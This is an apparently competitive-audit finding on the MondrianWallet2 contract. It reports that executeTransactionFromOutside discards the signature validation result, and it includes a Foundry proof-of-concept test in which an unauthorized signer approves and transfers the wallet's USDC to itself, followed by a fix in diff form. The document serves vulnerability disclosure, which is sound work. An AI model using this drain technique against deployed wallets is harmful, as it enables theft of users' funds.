Summary
The MondrianWallet2::_validateTransaction
function correctly verifies whether the signer of a transaction is the owner of the contract. However this validation result is not utilized in the MondrianWallet2::excuteTransactionFromOutside
function, thereby allowing any user to execute transactions.
This oversight in validation exposes the contract to significant exploitation risks, enabling malicious users to potentially drain funds or execute unauthorized operation.
Vulnerability Details
Mint USDC on the mondrianWallet
proxy contract
Create an approval
transaction for the minted USDC amount, signed with a malicious user's private key.
Execute this transaction to update the nonce of mondrianWallet
.
Craft the transferFrom
transaction and sign it with the malicious user private key
Execute the transferFrom
transaction to transfer USDC tokens to the malicious user's account.
Proof of Code
Integrate a random user account into the test suite in ModrianWallet2Test.t.sol
:
contract MondrianWallet2Test is Test, ZkSyncChainChecker {
address constant RANDOM_USER_ACCOUNT = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720;
...
Add the following helper function for signing transactions with the random user's private key in tes test suite:
function _signTransactionWithRandomUser(
Transaction memory transaction
) internal view returns (Transaction memory) {
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
uint8 v;
bytes32 r;
bytes32 s;
uint256 randomUserPrivateKey = 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6;
(v, r, s) = vm.sign(randomUserPrivateKey, unsignedTransactionHash);
Transaction memory signedTransaction = transaction;
signedTransaction.signature = abi.encodePacked(r, s, v);
return signedTransaction;
}
Add the following function in the test suite:
function testRandomUserCanExecuteCommandsFromOutside() public {
address dest = address(usdc);
uint256 value = 0;
bytes memory functionDataOwner = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
AMOUNT
);
Transaction memory transactionOwner = _createUnsignedTransaction(
mondrianWallet.owner(),
113,
dest,
value,
functionDataOwner
);
vm.prank(mondrianWallet.owner());
mondrianWallet.executeTransaction(
EMPTY_BYTES32,
EMPTY_BYTES32,
transactionOwner
);
assertEq(usdc.balanceOf(address(mondrianWallet)), AMOUNT);
assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), 0);
bytes memory functionDataApprove = abi.encodeWithSelector(
ERC20.approve.selector,
address(mondrianWallet),
AMOUNT
);
Transaction memory transactionApproval = _createUnsignedTransaction(
RANDOM_USER_ACCOUNT,
113,
dest,
value,
functionDataApprove
);
transactionApproval = _signTransactionWithRandomUser(
transactionApproval
);
vm.prank(RANDOM_USER_ACCOUNT);
mondrianWallet.executeTransactionFromOutside(transactionApproval);
bytes memory functionDataTransferFrom = abi.encodeWithSelector(
ERC20.transferFrom.selector,
address(mondrianWallet),
RANDOM_USER_ACCOUNT,
AMOUNT
);
Transaction memory transactionTransferFrom = _createUnsignedTransaction(
RANDOM_USER_ACCOUNT,
113,
dest,
value,
functionDataTransferFrom
);
transactionTransferFrom = _signTransactionWithRandomUser(
transactionTransferFrom
);
vm.prank(RANDOM_USER_ACCOUNT);
mondrianWallet.executeTransactionFromOutside(transactionTransferFrom);
assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), AMOUNT);
}
Impact
Exploitation of this vulnerability could lead to complete depletion of the contract's funds.
Tools Used
Manual review
Recommendations
Implement the following changes in MondrianWallet2::executeTransactionFromOutside to mitigate this vulnerability:
function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ revert MondrianWallet2__InvalidSignature(); // This error was previously not utilized
+ }
_executeTransaction(_transaction);
}